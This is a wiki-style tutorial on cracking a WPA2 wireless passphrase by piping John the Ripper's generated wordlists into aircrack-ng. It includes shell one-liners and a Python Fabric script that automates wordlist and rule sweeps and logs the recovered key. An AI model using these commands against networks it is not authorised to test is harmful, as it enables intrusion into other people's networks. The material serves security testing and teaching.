From charlesreid1

What is Aircrack

We have met Aircrack before - it's a tool used for sniffing out the right WEP and WPA packets to crack the network's encryption. One of the last steps, once you've captured the proper packets, is to brute-force guess the WPA passphrase. This is where John can help.

What is John

John the Ripper is a tool for guessing weak passwords on user accounts. It's good at generating a whole bunch of random passwords that are based on words, or modifications of words, or numbers.

You can use John in conjunction with Aircrack, by telling John to just print out all of the words it has generated to stdout, and then using stdout as the aircrack wordlist/dictionary. This allows you to just let John crank away. There are certainly better ways to do it, but this can be a quick check for weak passwords.

Getting Set Up

To use Aircrack with John, you'll need to make sure you have both installed. If you're on Kali you're good to go.

How John Works

The way we'll be using John the Ripper is as a password wordlist generator - not as a password cracker. We'll be giving John the Ripper a wordlist, and based on the options we give it at the command line, it will generate a new, longer word list with many variations based on the original wordlist. By operating John in different modes, we can get different resulting wordlists. This allows us to potentially turn a wordlist of 10,000 words into a wordlist of 8 million words (meaning, we should choose wisely: we'll either be waiting a few minutes, or a few years.)

John the Ripper Command

Here is an example John the Ripper command, which will send generated words to stdout, rather than using them to try and crack passwords:

$ john -w=10_million_password_list_top_1000.txt --session=attack1 --stdout

Aircrack Command

An example Aircrack command to crack a wireless network would be:

aircrack-ng -a 2 -e ASDF asdf-01.cap -w my_wordlist.list

(where -a 2 means attack mode 2, or wpa, -e ASDF narrows down the keys being cracked to one in particular, and -w my_wordlist.list is the wordlist.)

We can specify that the list of passwords will come from stdin by using:

-w -

Now, we can pipe the output of John the Ripper (which will generate lots and lots of passwords from a list) into aircrack (which tests each password against the WPA key).

John-Aircrack Command

Here is how you would call John the Ripper to generate passwords, then feed those passwords to Aircrack:

$ john -w=10_million_password_list_top_1000.txt --session=attack1 --stdout | aircrack-ng -a 2 -e ASDF asdf-01.cap -l HONEY.pot -w -

Let's go through this one bit at a time.

--session=attack1: this tells John to keep track of where it is at in the process and what passwords it has guessed, which will make it possible to restore the session in case the process dies or is interrupted.

--stdout: print all words that John would have otherwise tried itself to stdout, so that some other program can use them

-a 2: this specifies the encryption protocol as WPA2 (can also do -a wpa).

-l HONEY.pot specifies that all keys should be written into the file HONEY.pot

-e ASDF: this is the name of the wireless network whose WPA passphrase we're trying to crack

asdf-01.cap: this is the capture file from our earlier-run airomon-ng command.

-w -: the -w flag specifies a wordlist. Since, in this case, - by itself represents stdin (what John is piping in), this means we're using John's generated words as an aircrack wordlist.

Using Multiple Wordlists with John the Ripper

If you have a large list of wordlists, you can use xargs to iterate through the list one item at a time, feed the wordlist to John the Ripper and then pass it on to Aircrack.

Here's how that would look, if our wordlists were all text files:

$ ls ~/wordlists/*.txt | xargs -t  -I% john --session=attack1 --wordlist=% --stdout | aircrack-ng -a 2 -e ASDF asdf-01.cap -w -

Just to step through what all of that means:

$ ls -1 ~/wordlists/*txt | xargs -t -n1 -I% 

This command will list each of our text files, and feed the arguments to xargs. xargs will take one argument at a time due to the -I% argument. Everywhere xargs sees the % sign, it will replace it with the input argument (our wordlist).

xargs -t -I% john --session=attack1 --wordlist=% --stdout 

Here's where we chain xargs to John the Ripper. The name of our wordlist will replace all the % signs. We send the output to stdout to use John the Ripper as a password wordlist generator. Now we're ready to pipe all that to aircrack:

| aircrack-ng -a 2 -e ASDF asdf-01.cap -w -

and we already covered these options - we're cracking the WPA2 network ASDF, with the cap file asdf-01.cap.

Putting it all together, we get the one-liner:

$ ls ~/wordlists/*.txt | xargs -t -I% john --session=attack1 --wordlist=%  --stdout | aircrack-ng -a 2 -e ASDF asdf-01.cap -w -

Scripting with Bash

Aircrack's main/default interface is NOT scripting-friendly (example: when you run aircrack on a capture file, and it finds a matching passphrase, it prints the result to the screen - but it doesn't save it to a file. Inexplicably. So if you accidentally close your window after ten days of cranking away, then, too bad, I guess?!?)

Fix this by using the -l [filename] flag. That's the dash L as in log.

Use the -l [filename] flag to write the key to a file.

Make everything more script friendly by writing fancy Bash scripts that do the following:

  • Create bash arrays with wordlists
  • Create John the Ripper commands
  • Run through all of these with bash array for loops

Scripting with Python

Aircrack's main/default interface is NOT scripting-friendly (example: when you run aircrack on a capture file, and it finds a matching passphrase, it prints the result to the screen - but it doesn't save it to a file. Inexplicably. So if you accidentally close your window after ten days of cranking away, then, too bad, I guess?!?)

Then there's the complication that if you run these jobs in the background with tmux or screen, the output gets completely screwed up if you change window widths, and you CANNOT see Aircrack's results printed to the screen after you screw up the output. What a mess.

So let's talk about how to make them slightly more scriptable with Python.

Installing Fab

We'll use fab, which gives Python Makefile-like functionality.

Before, we were stringing together a long command, where we piped names of text files from ls to john to aircrack.

Let's use fab instead. We'll be replacing this command line:

ls ~/codes/seclists/Passwords/*.txt | xargs -t -I% john -ssession=tig --wordlist=% --stdout | aircrack-ng -a 2 -e Tig tig-02.cap

Getting List of Wordlist Files

First step is to get a Python list populated by text file names:

get_wordlist_list():
    raw = local('/bin/ls -1 /root/codes/seclists/Passwords/*.txt', capture=True)
    wordlist_list = raw.splitlines()
    

and run like so:

$ fab get_wordlist_list

Using the List of Wordlists

Now how can we use this list of wordlists?

Here's a quick example of constructing a call to john using a particular wordlist:

def get_wordlist_list():
    raw = local('/bin/ls -1 /root/codes/seclists/Passwords/*.txt', capture=True)
    wordlist_list = raw.splitlines()
    for iw,wordlist in enumerate(wordlist_list):
        print "john --session=sess%d --wordlist=%s --stdout"%(iw,wordlist)

with the result:

$ fab get_wordlist_list
[localhost] local: /bin/ls -1 /root/codes/seclists/Passwords/*.txt
john --session=sess0 --wordlist=/root/codes/seclists/Passwords/10k_most_common.txt --stdout
john --session=sess1 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_1000000.txt --stdout
john --session=sess2 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_100000.txt --stdout
john --session=sess3 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_10000.txt --stdout
john --session=sess4 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_1000.txt --stdout
john --session=sess5 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_100.txt --stdout
john --session=sess6 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_500.txt --stdout
john --session=sess7 --wordlist=/root/codes/seclists/Passwords/500-worst-passwords.txt --stdout
john --session=sess8 --wordlist=/root/codes/seclists/Passwords/adobe100.txt --stdout
john --session=sess9 --wordlist=/root/codes/seclists/Passwords/alleged-gmail-passwords.txt --stdout
john --session=sess10 --wordlist=/root/codes/seclists/Passwords/Basic_Spanish_List.txt --stdout
john --session=sess11 --wordlist=/root/codes/seclists/Passwords/best1050.txt --stdout
john --session=sess12 --wordlist=/root/codes/seclists/Passwords/best110.txt --stdout
john --session=sess13 --wordlist=/root/codes/seclists/Passwords/best15.txt --stdout
john --session=sess14 --wordlist=/root/codes/seclists/Passwords/bible-nocount.txt --stdout
john --session=sess15 --wordlist=/root/codes/seclists/Passwords/bible-withcount.txt --stdout
john --session=sess16 --wordlist=/root/codes/seclists/Passwords/carders.cc.txt --stdout
john --session=sess17 --wordlist=/root/codes/seclists/Passwords/conficker.txt --stdout
john --session=sess18 --wordlist=/root/codes/seclists/Passwords/darkc0de.txt --stdout
john --session=sess29 --wordlist=/root/codes/seclists/Passwords/mubix_izmy.txt --stdout
john --session=sess30 --wordlist=/root/codes/seclists/Passwords/myspace-withcount.txt --stdout
john --session=sess32 --wordlist=/root/codes/seclists/Passwords/passwords_clarkson_82.txt --stdout
john --session=sess33 --wordlist=/root/codes/seclists/Passwords/passwords_john.txt --stdout

[...]

Niiiiice.

Trying Different John Modes

Now that we're scripting everything in Python, we can not only use John with each different wordlist, but we can also try John in different modes.

For example, if we wanted to sweep through all of these password lists multiple times, and try non-numeric passwords first, then numerical only, then alphanumeric, etc., then we could set up a loop over different rules.

Default Rules

We can start with John's default rules by adding --rules to the call to john.

Single Crack Mode

You can also crack in Single Crack mode, which doesn't use a wordlist, but instead tries to crack the password using the login/GECOS information as passwords" (meaning, it tries passwords that are variations on the username - I think. Not sure how this works).

$ john --rules:single --stdout

Single Crack Mode with a Wordlist

You can also pass in a wordlist in single mode,

$ john --rules:single --wordlist:short.lst --stdout


Comparison of John Modes

A quick comparison of John modes can be done with a password file.

I wanted to see how the 10,000 most common passwords list would change if I changed the rules John was using. Here's a table summarizing what I found:

Rule Number of Words Examples Notes
No rules 10,000 mustang, monkey, shadow This uses the wordlist verbatim, without modifying it. Using it this way, you don't gain much using John with Aircrack, versus using Aircrack alone.
--rules 422,753 mustang1, mustangs, Mustang This tries some basic manipulations of the file to get different variations of each password.
--rules:single 8,258,682 mustang, mustang5, musta, mustangmustang, mustangS Exhaustive. This blows up the size of the word file to be pretty enormous.

John Power Tool Rules

Loooooots of good info on improving on john's rules, particularly if you're cracking lots of passwords and you want to improve your search methodology as you go:: https://www.owasp.org/images/a/af/2011-Supercharged-Slides-Redman-OWASP-Feb.pdf

Logging

It's important to keep track of what we've tried with some kind of log file. To print a message to a log file, we can use the Python logging library:

import logging
logging.basicConfig(filename='example.log',level=logging.DEBUG)
logging.info('You are here.')

Now if we want to add logging to our fabfile, we just include those statements above.

Sending Aircrack Output to File (VERY IMPORTANT)

One of the problems I was having when using the one-liner with everything piped to everything else was, the output was messed up with screen and I couldn't see what the key was once it had been cracked.

We can save ourselves this headache by using the -l [filename] flag to write the key to a file.

Checking for the existence of this file will also give us a convenient method to check if a wireless network has been successfully cracked.

Putting It All Together

Now we have the pieces we need to write a Fabric script to crack these wireless networks.

First, we have our import statements, configuration, and some simple information functions:

from fabric.api import local
import logging                                                
import os                                                     

logging.basicConfig(filename='log_john.log',level=logging.DEBUG)

def get_essid_cap_crack():
    essid = "Walrus"                                          
    cap = "/root/home-02.cap"
    crack = "crack_"+essid+".txt"                             
    return [essid,cap,crack]
        
def get_wordlist_dir():                                       
    return "/root/wordlists/walrus/"                          

def get_wordlist_list():
    """ 
    This returns a list of wordlists to try.                  
    """                                                       
    find_cmd = 'find'                                         
    find_loc = get_wordlist_dir()                             
    find_args = '-type f'
    raw = local( ' '.join([find_cmd, find_loc, find_args]) , capture=True)
    wordlist_list = raw.splitlines()                          
        
    return wordlist_list

These functions will give us convenient access to the information we need. Now we'll assemble our different John+Aircrack calls, based on what modes, methods, and wordlists we want to use.

def try_wordlists():
    """ 
    This procedure constructs John-Aircrack calls for scripting john modes and wordlists.                                    
    The pseudocode is:

    for each mode
        for each password file
            for each capture file
    """
    cmds_tried = []
    modes = ['', '--rules']
    for mode_arg in modes:

        wordlist_list = get_wordlist_list()

        for iw,wordlist in enumerate(wordlist_list):

            session_arg = ""#--session=sess%d"%(iw)
            wordlist_arg = "--wordlist=%s"%(wordlist)
            stdout_arg = "--stdout"

            ## Here is the call to john
            #logging.info( ' '.join(['john',mode_arg,session_arg,wordlist_arg,stdout_arg]) )


            essid, capfile, crackfile = get_essid_cap_crack()
            wpamode_arg = '-a 2'
            essid_arg = '-e '+essid
            wordlist_stdin = '-w -'
            outfile_arg = '-l '+crackfile

            ## Here is the call to Aircrack
            #logging.info( ' '.join(['aircrack-ng',wpamode_arg,essid_arg,outfile_arg,capfile,wordlist_stdin]) )


            # call john + aircrack
            final_cmd = " ".join(['john',mode_arg,session_arg,wordlist_arg,stdout_arg,
                                    '|',
                                    'aircrack-ng',wpamode_arg,essid_arg,outfile_arg,capfile,wordlist_stdin])

            logging.info(final_cmd)
            local(final_cmd)

            cmds_tried.append(final_cmd)

            # once we reach this point, we've "finished"
            # check for crack file
            # if there, let's gtfo 


            if os.path.isfile(crackfile):
                print "*"*40
                print "*"*40
                print "*"*40
                print "HOORAY!!!"
                print "*"*40
                print "*"*40
                print "*"*40
                break

        if os.path.isfile(crackfile):
            break

    report(crackfile,cmds_tried)

We want to print a report whether we succeeded or not, but if the attack succeeded we don't care about anything but the passphrase, whereas if the attack failed it will be important to have a record of what commands were tried.

Here is the report function:

def report(crackfile,cmds_tried):
    """
    This prints a report of the result.
    """
    essid, cap, crackfile = get_essid_cap_crack()

    if os.path.isfile(crackfile):
        print "\n"*3
        print "----------------------"
        print "John + Aircrack: SUCCESS"
        print ""
        print "ESSID:"
        print essid
        print "Passphrase:"
        local('cat '+crackfile)
        print "\n"*3

    else:
        print "\n"*3
        print "----------------------"
        print "John + Aircrack: FAILURE"
        print ""
        print "ESSID:"
        print essid
        print ""
        print "Commands attempted:"
        for i in cmds_tried:
            print "    "+i
        print "\n"*3


File Formats

When using John and Aircrack, there are lots of different file formats floating around. Here's a rundown of how to convert which to what.

cap to hccap

To convert cap files (the normal output file format used by airodump) to hccap files (an intermediary that can be turned into a John hash file), use the cap2hccap utility:

$ ./cap2hccap.bin /path/to/my.cap my.hccap

ivs to hccap

ivs file version 1 only holds WEP information, but ivs file version 2 holds WPA information as well.

You can convert an ivs to an hccap using the aircrack -J flag:

$ aircrack-ng -J new.hccap original.ivs # create .hccap file from original .ivs file(s).

hccap to john

hccap is short for hashcat cap file, it is a file type that can contain WPA handshakes. It's also a convenient intermediary format between John and Aircrack. Use the hccap2john utility to convert an hccap file to a john hash file:

$ hccap2john capture.hccap > hash.johnpw

Now you can crack it with John:

$ john hash.johnpw

Flags